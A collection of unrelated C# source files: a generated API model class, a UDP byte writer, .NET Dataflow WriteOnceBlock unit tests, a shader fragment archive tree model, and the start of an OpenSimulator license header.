sb.Append(" XFrameOptions: ").Append(XFrameOptions).Append("\n");
sb.Append(" XFrameOptionsAllowFromUrl: ").Append(XFrameOptionsAllowFromUrl).Append("\n");
sb.Append("}\n");
return sb.ToString();
}
/// <summary>
/// Returns the JSON string presentation of the object
/// </summary>
/// <returns>JSON string presentation of the object</returns>
public string ToJson()
{
return JsonConvert.SerializeObject(this, Formatting.Indented);
}
/// <summary>
/// Returns true if objects are equal
/// </summary>
/// <param name="obj">Object to be compared</param>
/// <returns>Boolean</returns>
public override bool Equals(object obj)
{
// credit: http://stackoverflow.com/a/10454552/677735
return this.Equals(obj as RecipientPreviewRequest);
}
/// <summary>
/// Returns true if RecipientPreviewRequest instances are equal
/// </summary>
/// <param name="other">Instance of RecipientPreviewRequest to be compared</param>
/// <returns>Boolean</returns>
public bool Equals(RecipientPreviewRequest other)
{
// credit: http://stackoverflow.com/a/10454552/677735
if (other == null)
return false;
return
(
this.AssertionId == other.AssertionId ||
this.AssertionId != null &&
this.AssertionId.Equals(other.AssertionId)
) &&
(
this.AuthenticationInstant == other.AuthenticationInstant ||
this.AuthenticationInstant != null &&
this.AuthenticationInstant.Equals(other.AuthenticationInstant)
) &&
(
this.AuthenticationMethod == other.AuthenticationMethod ||
this.AuthenticationMethod != null &&
this.AuthenticationMethod.Equals(other.AuthenticationMethod)
) &&
(
this.ClientURLs == other.ClientURLs ||
this.ClientURLs != null &&
this.ClientURLs.Equals(other.ClientURLs)
) &&
(
this.PingFrequency == other.PingFrequency ||
this.PingFrequency != null &&
this.PingFrequency.Equals(other.PingFrequency)
) &&
(
this.PingUrl == other.PingUrl ||
this.PingUrl != null &&
this.PingUrl.Equals(other.PingUrl)
) &&
(
this.RecipientId == other.RecipientId ||
this.RecipientId != null &&
this.RecipientId.Equals(other.RecipientId)
) &&
(
this.ReturnUrl == other.ReturnUrl ||
this.ReturnUrl != null &&
this.ReturnUrl.Equals(other.ReturnUrl)
) &&
(
this.SecurityDomain == other.SecurityDomain ||
this.SecurityDomain != null &&
this.SecurityDomain.Equals(other.SecurityDomain)
) &&
(
this.XFrameOptions == other.XFrameOptions ||
this.XFrameOptions != null &&
this.XFrameOptions.Equals(other.XFrameOptions)
) &&
(
this.XFrameOptionsAllowFromUrl == other.XFrameOptionsAllowFromUrl ||
this.XFrameOptionsAllowFromUrl != null &&
this.XFrameOptionsAllowFromUrl.Equals(other.XFrameOptionsAllowFromUrl)
);
}
/// <summary>
/// Gets the hash code
/// </summary>
/// <returns>Hash code</returns>
public override int GetHashCode()
{
// credit: http://stackoverflow.com/a/263416/677735
unchecked // Overflow is fine, just wrap
{
int hash = 41;
// Suitable nullity checks etc, of course :)
if (this.AssertionId != null)
hash = hash * 59 + this.AssertionId.GetHashCode();
if (this.AuthenticationInstant != null)
hash = hash * 59 + this.AuthenticationInstant.GetHashCode();
if (this.AuthenticationMethod != null)
hash = hash * 59 + this.AuthenticationMethod.GetHashCode();
if (this.ClientURLs != null)
hash = hash * 59 + this.ClientURLs.GetHashCode();
if (this.PingFrequency != null)
hash = hash * 59 + this.PingFrequency.GetHashCode();
if (this.PingUrl != null)
hash = hash * 59 + this.PingUrl.GetHashCode();
if (this.RecipientId != null)
hash = hash * 59 + this.RecipientId.GetHashCode();
if (this.ReturnUrl != null)
hash = hash * 59 + this.ReturnUrl.GetHashCode();
if (this.SecurityDomain != null)
hash = hash * 59 + this.SecurityDomain.GetHashCode();
if (this.XFrameOptions != null)
hash = hash * 59 + this.XFrameOptions.GetHashCode();
if (this.XFrameOptionsAllowFromUrl != null)
hash = hash * 59 + this.XFrameOptionsAllowFromUrl.GetHashCode();
return hash;
}
}
public IEnumerable<ValidationResult> Validate(ValidationContext validationContext)
{
yield break;
}
}
}
| |
using System;
using System.Text;
using ReliableUdp.BitUtility;
namespace ReliableUdp.Utility
{
public class UdpDataWriter
{
protected byte[] _data;
protected int Position;
private readonly bool autoResize;
public UdpDataWriter() : this(true)
{
}
public UdpDataWriter(bool autoResize) : this(autoResize, 64)
{
}
public UdpDataWriter(bool autoResize, int initialSize)
{
this._data = new byte[initialSize];
this.autoResize = autoResize;
}
public void ResizeIfNeed(int newSize)
{
if (_data.Length < newSize)
{
Array.Resize(ref this._data, Math.Max(newSize, _data.Length * 2));
}
}
public void Reset(int size)
{
this.ResizeIfNeed(size);
this.Position = 0;
}
public void Reset()
{
this.Position = 0;
}
public byte[] CopyData()
{
byte[] resultData = new byte[this.Position];
Buffer.BlockCopy(this._data, 0, resultData, 0, this.Position);
return resultData;
}
public byte[] Data
{
get { return this._data; }
}
public int Length
{
get { return this.Position; }
}
public void Put(float value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 4);
BitHelper.Write(this._data, this.Position, value);
this.Position += 4;
}
public void Put(double value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 8);
BitHelper.Write(this._data, this.Position, value);
this.Position += 8;
}
public void Put(long value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 8);
BitHelper.Write(this._data, this.Position, value);
this.Position += 8;
}
public void Put(ulong value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 8);
BitHelper.Write(this._data, this.Position, value);
this.Position += 8;
}
public void Put(int value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 4);
BitHelper.Write(this._data, this.Position, value);
this.Position += 4;
}
public void Put(uint value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 4);
BitHelper.Write(this._data, this.Position, value);
this.Position += 4;
}
public void Put(ushort value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 2);
BitHelper.Write(this._data, this.Position, value);
this.Position += 2;
}
public void Put(short value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 2);
BitHelper.Write(this._data, this.Position, value);
this.Position += 2;
}
public void Put(sbyte value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 1);
this._data[this.Position] = (byte)value;
this.Position++;
}
public void Put(byte value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 1);
this._data[this.Position] = value;
this.Position++;
}
public void Put(byte[] data, int offset, int length)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + length);
Buffer.BlockCopy(data, offset, this._data, this.Position, length);
this.Position += length;
}
public void Put(byte[] data)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + data.Length);
Buffer.BlockCopy(data, 0, this._data, this.Position, data.Length);
this.Position += data.Length;
}
public void Put(bool value)
{
if (this.autoResize)
this.ResizeIfNeed(this.Position + 1);
this._data[this.Position] = (byte)(value ? 1 : 0);
this.Position++;
}
public void Put(float[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
if (this.autoResize)
this.ResizeIfNeed(this.Position + len * 4 + 2);
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(double[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
if (this.autoResize)
this.ResizeIfNeed(this.Position + len * 8 + 2);
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(long[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
if (this.autoResize)
this.ResizeIfNeed(this.Position + len * 8 + 2);
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(ulong[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
if (this.autoResize)
this.ResizeIfNeed(this.Position + len * 8 + 2);
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(int[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
if (this.autoResize)
this.ResizeIfNeed(this.Position + len * 4 + 2);
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(uint[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
if (this.autoResize)
this.ResizeIfNeed(this.Position + len * 4 + 2);
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(ushort[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
if (this.autoResize)
this.ResizeIfNeed(this.Position + len * 2 + 2);
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(short[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
if (this.autoResize)
this.ResizeIfNeed(this.Position + len * 2 + 2);
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(bool[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
if (this.autoResize)
this.ResizeIfNeed(this.Position + len + 2);
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(string[] value)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i]);
}
}
public void Put(string[] value, int maxLength)
{
ushort len = value == null ? (ushort)0 : (ushort)value.Length;
this.Put(len);
for (int i = 0; i < len; i++)
{
this.Put(value[i], maxLength);
}
}
public void Put(string value)
{
if (string.IsNullOrEmpty(value))
{
this.Put(0);
return;
}
int bytesCount = Encoding.UTF8.GetByteCount(value);
if (this.autoResize)
this.ResizeIfNeed(this.Position + bytesCount + 4);
this.Put(bytesCount);
Encoding.UTF8.GetBytes(value, 0, value.Length, this._data, this.Position);
this.Position += bytesCount;
}
public void Put(string value, int maxLength)
{
if (string.IsNullOrEmpty(value))
{
this.Put(0);
return;
}
int length = value.Length > maxLength ? maxLength : value.Length;
int bytesCount = Encoding.UTF8.GetByteCount(value);
if (this.autoResize)
this.ResizeIfNeed(this.Position + bytesCount + 4);
this.Put(bytesCount);
Encoding.UTF8.GetBytes(value, 0, length, this._data, this.Position);
this.Position += bytesCount;
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.Generic;
using System.Linq;
using Xunit;
namespace System.Threading.Tasks.Dataflow.Tests
{
public class WriteOnceBlockTests
{
[Fact]
public void TestCtor()
{
var blocks = new[] {
new WriteOnceBlock<int>(null), // valid
new WriteOnceBlock<int>(i => i),
new WriteOnceBlock<int>(null, new DataflowBlockOptions()),
new WriteOnceBlock<int>(i => i, new DataflowBlockOptions { BoundedCapacity = 2 }),
new WriteOnceBlock<int>(null, new DataflowBlockOptions { CancellationToken = new CancellationTokenSource().Token }),
new WriteOnceBlock<int>(null, new DataflowBlockOptions { MaxMessagesPerTask = 1 }),
new WriteOnceBlock<int>(null, new DataflowBlockOptions { NameFormat = "" }),
new WriteOnceBlock<int>(null, new DataflowBlockOptions { TaskScheduler = new ConcurrentExclusiveSchedulerPair().ExclusiveScheduler }),
};
foreach (var block in blocks)
{
Assert.NotNull(block.Completion);
Assert.False(block.Completion.IsCompleted);
int item;
Assert.False(block.TryReceive(out item));
}
}
[Fact]
public void TestArgumentExceptions()
{
Assert.Throws<ArgumentNullException>(() => new WriteOnceBlock<int>(i => i, null));
DataflowTestHelpers.TestArgumentsExceptions(new WriteOnceBlock<int>(i => i));
Assert.Throws<ArgumentNullException>(() => ((ITargetBlock<int>)new WriteOnceBlock<int>(null)).Fault(null));
}
[Fact]
public void TestToString()
{
// Test ToString() with the only custom configuration being NameFormat
DataflowTestHelpers.TestToString(
nameFormat => nameFormat != null ?
new WriteOnceBlock<int>(i => i, new DataflowBlockOptions() { NameFormat = nameFormat }) :
new WriteOnceBlock<int>(i => i));
}
[Fact]
public async Task TestLinkToOptions()
{
foreach (bool consumeToAccept in DataflowTestHelpers.BooleanValues)
foreach (bool propagateCompletion in DataflowTestHelpers.BooleanValues)
foreach (bool append in DataflowTestHelpers.BooleanValues)
foreach (int maxMessages in new[] { DataflowBlockOptions.Unbounded, 1, 2 })
{
var wob = consumeToAccept ?
new WriteOnceBlock<int>(i => i) :
new WriteOnceBlock<int>(null);
int result = 0;
const int Count = 10;
Assert.True(Count % 2 == 0);
var targets = Enumerable.Range(0, Count).Select(i => new ActionBlock<int>(_ => Interlocked.Increment(ref result))).ToArray();
var options = new DataflowLinkOptions
{
MaxMessages = maxMessages,
Append = append,
PropagateCompletion = propagateCompletion
};
for (int i = 0; i < Count / 2; i++)
{
wob.LinkTo(targets[i], options, f => false);
wob.LinkTo(targets[i], options);
}
wob.Post(1);
for (int i = Count / 2; i < Count; i++)
{
wob.LinkTo(targets[i], options);
}
await wob.Completion;
if (propagateCompletion)
{
await Task.WhenAll(from target in targets select target.Completion);
Assert.Equal(expected: Count, actual: result);
}
else
{
// This should never fail, but there is a race such that it won't always
// be testing what we want it to test. Doing so would mean waiting
// for an arbitrary period of time to ensure something hasn't happened.
Assert.All(targets, t => Assert.False(t.Completion.IsCompleted));
}
}
}
[Fact]
public async Task TestOfferMessage()
{
var generators = new Func<WriteOnceBlock<int>>[]
{
() => new WriteOnceBlock<int>(i => i),
() => new WriteOnceBlock<int>(i => i, new DataflowBlockOptions { BoundedCapacity = 10 }),
() => new WriteOnceBlock<int>(i => i, new DataflowBlockOptions { BoundedCapacity = 10, MaxMessagesPerTask = 1 })
};
foreach (var generator in generators)
{
DataflowTestHelpers.TestOfferMessage_ArgumentValidation(generator());
var target = generator();
DataflowTestHelpers.TestOfferMessage_AcceptsDataDirectly(target, messages: 1);
DataflowTestHelpers.TestOfferMessage_CompleteAndOffer(target);
await target.Completion;
target = generator();
await DataflowTestHelpers.TestOfferMessage_AcceptsViaLinking(target, messages: 1);
DataflowTestHelpers.TestOfferMessage_CompleteAndOffer(target);
await target.Completion;
target = generator();
Assert.Equal(
expected: DataflowMessageStatus.Accepted,
actual: ((ITargetBlock<int>)target).OfferMessage(new DataflowMessageHeader(1), 1, null, false));
Assert.Equal(
expected: DataflowMessageStatus.DecliningPermanently,
actual: ((ITargetBlock<int>)target).OfferMessage(new DataflowMessageHeader(1), 1, null, false));
await target.Completion;
}
}
[Fact]
public async Task TestCompletionTask()
{
await DataflowTestHelpers.TestCompletionTask(() => new WriteOnceBlock<int>(i => i));
}
[Fact]
public async Task TestPost()
{
foreach (int boundedCapacity in new[] { DataflowBlockOptions.Unbounded, 1, 2 })
{
var wob = new WriteOnceBlock<int>(i => i, new DataflowBlockOptions { BoundedCapacity = boundedCapacity }); // options shouldn't affect anything
Assert.True(wob.Post(1));
Assert.False(wob.Post(2));
await wob.Completion;
}
}
[Fact]
public async Task TestPostThenReceive()
{
var wob = new WriteOnceBlock<int>(i => i);
for (int i = 10; i < 15; i++)
{
bool posted = wob.Post(i);
Assert.Equal(expected: i == 10, actual: posted);
}
int item;
Assert.True(wob.TryReceive(out item));
Assert.Equal(expected: 10, actual: item);
await wob.Completion;
wob = new WriteOnceBlock<int>(null);
wob.Post(42);
Task<int> t = wob.ReceiveAsync();
Assert.True(t.IsCompleted);
Assert.Equal(expected: 42, actual: t.Result);
await wob.Completion;
}
[Fact]
public async Task TestReceiveThenPost()
{
var wob = new WriteOnceBlock<int>(null);
var ignored = Task.Run(() => wob.Post(42));
Assert.Equal(expected: 42, actual: wob.Receive()); // this should always pass, but due to race we may not test what we're hoping to
await wob.Completion;
wob = new WriteOnceBlock<int>(null);
Task<int> t = wob.ReceiveAsync();
Assert.False(t.IsCompleted);
wob.Post(16);
Assert.Equal(expected: 16, actual: await t);
}
[Fact]
public async Task TestTryReceiveWithFilter()
{
var wob = new WriteOnceBlock<int>(null);
wob.Post(1);
int item;
Assert.True(wob.TryReceive(out item));
Assert.Equal(expected: 1, actual: item);
Assert.True(wob.TryReceive(i => i == 1, out item));
Assert.Equal(expected: 1, actual: item);
Assert.False(wob.TryReceive(i => i == 0, out item));
await wob.Completion;
}
[Fact]
public async Task TestBroadcasting()
{
var wob = new WriteOnceBlock<int>(i => i + 1);
var targets = Enumerable.Range(0, 3).Select(_ => new TransformBlock<int, int>(i => i)).ToArray();
foreach (var target in targets)
{
wob.LinkTo(target);
}
wob.Post(42);
foreach (var target in targets)
{
Assert.Equal(expected: 43, actual: await target.ReceiveAsync());
}
}
[Fact]
public async Task TestCancellationBeforeAndAfterCtor()
{
foreach (bool before in DataflowTestHelpers.BooleanValues)
{
var cts = new CancellationTokenSource();
if (before)
{
cts.Cancel();
}
var wob = new WriteOnceBlock<int>(null, new DataflowBlockOptions { CancellationToken = cts.Token });
if (!before)
{
cts.Cancel();
}
int ignoredValue;
IList<int> ignoredValues;
Assert.NotNull(wob.LinkTo(DataflowBlock.NullTarget<int>()));
Assert.False(wob.Post(42));
Task<bool> sendTask = wob.SendAsync(43);
Assert.True(sendTask.IsCompleted);
Assert.False(sendTask.Result);
Assert.False(wob.TryReceive(out ignoredValue));
Assert.False(((IReceivableSourceBlock<int>)wob).TryReceiveAll(out ignoredValues));
Assert.NotNull(wob.Completion);
await Assert.ThrowsAnyAsync<OperationCanceledException>(() => wob.Completion);
}
}
[Fact]
public async Task TestCloning()
{
// Test cloning when a clone function is provided
{
int data = 42;
var wob = new WriteOnceBlock<int>(x => -x);
Assert.True(wob.Post(data));
Assert.False(wob.Post(data + 1));
for (int i = 0; i < 3; i++)
{
int item;
Assert.True(wob.TryReceive(out item));
Assert.Equal(expected: -data, actual: item);
Assert.Equal(expected: -data, actual: wob.Receive());
Assert.Equal(expected: -data, actual: await wob.ReceiveAsync());
IList<int> items;
Assert.True(((IReceivableSourceBlock<int>)wob).TryReceiveAll(out items));
Assert.Equal(expected: items.Count, actual: 1);
Assert.Equal(expected: -data, actual: items[0]);
}
int result = 0;
var target = new ActionBlock<int>(i => {
Assert.Equal(expected: 0, actual: result);
result = i;
Assert.Equal(expected: -data, actual: i);
});
wob.LinkTo(target, new DataflowLinkOptions { PropagateCompletion = true });
await target.Completion;
}
// Test successful processing when no clone function exists
{
var data = new object();
var wob = new WriteOnceBlock<object>(null);
Assert.True(wob.Post(data));
Assert.False(wob.Post(new object()));
object result;
for (int i = 0; i < 3; i++)
{
Assert.True(wob.TryReceive(out result));
Assert.Equal(expected: data, actual: result);
Assert.Equal(expected: data, actual: wob.Receive());
Assert.Equal(expected: data, actual: await wob.ReceiveAsync());
IList<object> items;
Assert.True(((IReceivableSourceBlock<object>)wob).TryReceiveAll(out items));
Assert.Equal(expected: 1, actual: items.Count);
Assert.Equal(expected: data, actual: items[0]);
}
result = null;
var target = new ActionBlock<object>(o => {
Assert.Null(result);
result = o;
Assert.Equal(expected: data, actual: o);
});
wob.LinkTo(target, new DataflowLinkOptions { PropagateCompletion = true });
await target.Completion;
}
}
[Fact]
public async Task TestReserveReleaseConsume()
{
var wb = new WriteOnceBlock<int>(i => i * 2);
wb.Post(1);
await DataflowTestHelpers.TestReserveAndRelease(wb, reservationIsTargetSpecific: false);
wb = new WriteOnceBlock<int>(i => i * 2);
wb.Post(2);
await DataflowTestHelpers.TestReserveAndConsume(wb, reservationIsTargetSpecific: false);
}
[Fact]
public async Task TestFaultyTarget()
{
var wob = new WriteOnceBlock<int>(null);
wob.LinkTo(new DelegatePropagator<int, int> {
OfferMessageDelegate = delegate {
throw new FormatException();
}
});
wob.Post(42);
await Assert.ThrowsAsync<FormatException>(() => wob.Completion);
}
[Fact]
public async Task TestFaultyScheduler()
{
var wob = new WriteOnceBlock<int>(null, new DataflowBlockOptions {
TaskScheduler = new DelegateTaskScheduler {
QueueTaskDelegate = delegate {
throw new InvalidCastException();
}
}
});
wob.LinkTo(DataflowBlock.NullTarget<int>());
wob.Post(42);
await Assert.ThrowsAsync<TaskSchedulerException>(() => wob.Completion);
}
}
}
| |
// Copyright 2015 XLGAMES Inc.
//
// Distributed under the MIT License (See
// accompanying file "LICENSE" or the website
// http://www.opensource.org/licenses/mit-license.php)
using System;
using System.Collections.Generic;
using System.Text;
using Aga.Controls.Tree;
using System.IO;
using System.Drawing;
using System.ComponentModel;
using System.ComponentModel.Composition;
using System.Threading;
#pragma warning disable 0649 // Field '...' is never assigned to, and will always have its default value null
namespace NodeEditorCore
{
[Export(typeof(ShaderFragmentArchiveModel))]
[PartCreationPolicy(CreationPolicy.Shared)]
public sealed class ShaderFragmentArchiveModel : ITreeModel, IDisposable
{
/////////////////////////////////////////////////
public abstract class BaseItem
{
private string _path = "";
public string ItemPath
{
get { return _path; }
set { _path = value; }
}
private Image _icon;
public Image Icon
{
get { return _icon; }
set { _icon = value; }
}
private long _size = 0;
public long Size
{
get { return _size; }
set { _size = value; }
}
private DateTime _date;
public DateTime Date
{
get { return _date; }
set { _date = value; }
}
private BaseItem _parent;
public BaseItem Parent
{
get { return _parent; }
set { _parent = value; }
}
private bool _isChecked;
public bool IsChecked
{
get { return _isChecked; }
set
{
_isChecked = value;
if (Owner != null)
Owner.OnNodesChanged(this);
}
}
private ShaderFragmentArchiveModel _owner;
public ShaderFragmentArchiveModel Owner
{
get { return _owner; }
set { _owner = value; }
}
public override string ToString()
{
return _path;
}
}
private static Bitmap ResizeImage(Bitmap imgToResize, Size size)
{
// (handy utility function; thanks to http://stackoverflow.com/questions/10839358/resize-bitmap-image)
try
{
Bitmap b = new Bitmap(size.Width, size.Height);
using (Graphics g = Graphics.FromImage((Image)b))
{
g.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
g.DrawImage(imgToResize, 0, 0, size.Width, size.Height);
}
return b;
}
catch { }
return null;
}
private static Image ProcessImage(Bitmap img)
{
const int normalHeight = 32;
return ResizeImage(img, new Size(normalHeight * img.Width / img.Height, normalHeight));
}
static Image folderIcon = null;
static Image shaderFileIcon = null;
static Image shaderFragmentIcon = null;
static Image parameterIcon = null;
private static Image GetFolderIcon()
{
if (folderIcon == null) { folderIcon = ProcessImage(Properties.Resources.icon_triangle); }
return folderIcon;
}
private static Image GetShaderFileIcon()
{
if (shaderFileIcon == null) { shaderFileIcon = ProcessImage(Properties.Resources.icon_paper); }
return shaderFileIcon;
}
private static Image GetShaderFragmentIcon()
{
if (shaderFragmentIcon == null) { shaderFragmentIcon = ProcessImage(Properties.Resources.icon_circle); }
return shaderFragmentIcon;
}
private static Image GetParameterIcon()
{
if (parameterIcon == null) { parameterIcon = ProcessImage(Properties.Resources.icon_hexagon); }
return parameterIcon;
}
public class FolderItem : BaseItem
{
public string FunctionName { get; set; }
public string Name { get { return FunctionName; } }
public FolderItem(string name, BaseItem parent, ShaderFragmentArchiveModel owner)
{
Icon = GetFolderIcon();
ItemPath = name;
FunctionName = Path.GetFileName(name);
Parent = parent;
Owner = owner;
}
}
public class ShaderFileItem : BaseItem
{
private string _exceptionString = "";
public string ExceptionString
{
get { return _exceptionString; }
set { _exceptionString = value; }
}
public string FileName { get; set; }
public string Name { get { return FileName; } }
public ShaderFileItem(string name, BaseItem parent, ShaderFragmentArchiveModel owner)
{
Icon = GetShaderFileIcon();
Parent = parent;
ItemPath = name;
FileName = Path.GetFileName(name);
}
}
public class ShaderFragmentItem : BaseItem
{
public string _returnType = "";
public string ReturnType
{
get { return _returnType; }
set { _returnType = value; }
}
public string _parameters = "";
public string Parameters
{
get { return _parameters; }
set { _parameters = value; }
}
public string FunctionName { get; set; }
public string ArchiveName { get; set; }
public string Name { get { return FunctionName; } }
public ShaderFragmentItem(BaseItem parent, ShaderFragmentArchiveModel owner)
{
Icon = GetShaderFragmentIcon();
Parent = parent;
Owner = owner;
}
}
public class ParameterStructItem : BaseItem
{
public string _parameters = "";
public string Parameters
{
get { return _parameters; }
set { _parameters = value; }
}
public string StructName { get; set; }
public string ArchiveName { get; set; }
public string Name { get { return StructName; } }
public ParameterStructItem(BaseItem parent, ShaderFragmentArchiveModel owner)
{
Icon = GetParameterIcon();
Parent = parent;
Owner = owner;
}
}
/////////////////////////////////////////////////
private BackgroundWorker _worker;
private List<BaseItem> _itemsToRead;
private Dictionary<string, List<BaseItem>> _cache = new Dictionary<string, List<BaseItem>>();
public ShaderFragmentArchiveModel()
{
_itemsToRead = new List<BaseItem>();
_worker = new BackgroundWorker();
_worker.WorkerReportsProgress = true;
_worker.DoWork += new DoWorkEventHandler(ReadFilesProperties);
// _worker.ProgressChanged += new ProgressChangedEventHandler(ProgressChanged); (this causes bugs when expanding items)
}
void ReadFilesProperties(object sender, DoWorkEventArgs e)
{
while(_itemsToRead.Count > 0)
{
BaseItem item = _itemsToRead[0];
_itemsToRead.RemoveAt(0);
if (item is FolderItem)
{
DirectoryInfo info = new DirectoryInfo(item.ItemPath);
item.Date = info.CreationTime;
}
else if (item is ShaderFileItem)
{
FileInfo info = new FileInfo(item.ItemPath);
item.Size = info.Length;
item.Date = info.CreationTime;
// We open the file and create children for functions in
// the GetChildren function
}
/*else if (item is ParameterItem)
{
FileInfo info = new FileInfo(item.ItemPath);
item.Size = info.Length;
item.Date = info.CreationTime;
var parameter = _archive.GetParameter(item.ItemPath);
ParameterItem sfi = (ParameterItem)item;
sfi.FileName = Path.GetFileNameWithoutExtension(item.ItemPath);
sfi.FunctionName = parameter.Name;
sfi.ReturnType = parameter.Type;
sfi.ExceptionString = parameter.ExceptionString;
}*/
_worker.ReportProgress(0, item);
}
}
void ProgressChanged(object sender, ProgressChangedEventArgs e)
{
OnNodesChanged(e.UserState as BaseItem);
}
private TreePath GetPath(BaseItem item)
{
if (item == null)
return TreePath.Empty;
else
{
Stack<object> stack = new Stack<object>();
return new TreePath(stack.ToArray());
}
}
public System.Collections.IEnumerable GetChildren(TreePath treePath)
{
const string FragmentArchiveDirectoryRoot = "game/xleres/";
string basePath = null;
BaseItem parent = null;
List<BaseItem> items = null;
if (treePath.IsEmpty())
{
if (_cache.ContainsKey("ROOT"))
items = _cache["ROOT"];
else
{
basePath = FragmentArchiveDirectoryRoot;
}
}
else
{
parent = treePath.LastNode as BaseItem;
if (parent != null)
{
basePath = parent.ItemPath;
}
}
if (basePath!=null)
{
if (_cache.ContainsKey(basePath))
items = _cache[basePath];
else
{
items = new List<BaseItem>();
var fileAttributes = File.GetAttributes(basePath);
if ((fileAttributes & FileAttributes.Directory) == FileAttributes.Directory)
{
// It's a directory...
// Try to find the files within and create child nodes
try
{
foreach (string str in Directory.GetDirectories(basePath))
items.Add(new FolderItem(str, parent, this));
foreach (string str in Directory.GetFiles(basePath))
{
var extension = Path.GetExtension(str);
if (extension.Equals(".shader", StringComparison.CurrentCultureIgnoreCase)
|| extension.Equals(".h", StringComparison.CurrentCultureIgnoreCase)
|| extension.Equals(".vsh", StringComparison.CurrentCultureIgnoreCase)
|| extension.Equals(".psh", StringComparison.CurrentCultureIgnoreCase)
|| extension.Equals(".gsh", StringComparison.CurrentCultureIgnoreCase)
|| extension.Equals(".sh", StringComparison.CurrentCultureIgnoreCase)
|| extension.Equals(".tech", StringComparison.CurrentCultureIgnoreCase)
|| extension.Equals(".hlsl", StringComparison.CurrentCultureIgnoreCase)
)
{
var sfi = new ShaderFileItem(str, parent, this);
sfi.FileName = Path.GetFileName(str);
items.Add(sfi);
}
/*else if (extension.Equals(".param", StringComparison.CurrentCultureIgnoreCase))
{
items.Add(new ParameterItem(str, parent, this));
}*/
}
}
catch (IOException)
{
return null;
}
}
else
{
// It's a file. Let's try to parse it as a shader file and get the information within
var fragment = _archive.GetFragment(basePath);
ShaderFileItem sfi = (ShaderFileItem)parent;
sfi.ExceptionString = fragment.ExceptionString;
foreach (var f in fragment.Functions)
{
ShaderFragmentItem fragItem = new ShaderFragmentItem(parent, this);
fragItem.FunctionName = f.Name;
if (f.Outputs.Count!=0)
fragItem.ReturnType = f.Outputs[0].Type;
fragItem.Parameters = f.BuildParametersString();
fragItem.ArchiveName = basePath + ":" + f.Name;
items.Add(fragItem);
}
foreach (var p in fragment.ParameterStructs)
{
ParameterStructItem paramItem = new ParameterStructItem(parent, this);
paramItem.StructName = p.Name;
paramItem.Parameters = p.BuildBodyString();
paramItem.ArchiveName = basePath + ":" + p.Name;
items.Add(paramItem);
}
// Need to hold a pointer to this fragment, to prevent it from being cleaned up
// The archive can sometimes delete and recreate the fragment (and in those
// cases, the new fragment won't have our callbacks)
fragment.ChangeEvent += OnStructureChanged;
AttachedFragments.Add(fragment);
}
_cache.Add(basePath, items);
_itemsToRead.AddRange(items);
if (!_worker.IsBusy)
_worker.RunWorkerAsync();
}
}
return items;
}
public bool IsLeaf(TreePath treePath)
{
return treePath.LastNode is ShaderFragmentItem || treePath.LastNode is ParameterStructItem;
}
public event EventHandler<TreeModelEventArgs> NodesChanged;
internal void OnNodesChanged(BaseItem item)
{
if (NodesChanged != null)
{
TreePath path = GetPath(item.Parent);
NodesChanged(this, new TreeModelEventArgs(path, new object[] { item }));
}
}
public event EventHandler<TreeModelEventArgs> NodesInserted;
public event EventHandler<TreeModelEventArgs> NodesRemoved;
public event EventHandler<TreePathEventArgs> StructureChanged;
private List<ShaderFragmentArchive.ShaderFragment> AttachedFragments = new List<ShaderFragmentArchive.ShaderFragment>();
private void OnStructureChanged(Object sender, EventArgs args)
{
ClearAttachedFragments();
_cache = new Dictionary<string, List<BaseItem>>();
if (StructureChanged != null)
StructureChanged(this, new TreePathEventArgs());
}
private void ClearAttachedFragments()
{
foreach(var f in AttachedFragments)
f.ChangeEvent -= OnStructureChanged;
AttachedFragments.Clear();
}
public void Dispose() { ClearAttachedFragments(); }
[Import]
ShaderFragmentArchive.Archive _archive;
}
}
| |
/*
* Copyright (c) Contributors, http://opensimulator.org/
* See CONTRIBUTORS.TXT for a full list of copyright holders.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the OpenSimulator Project nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
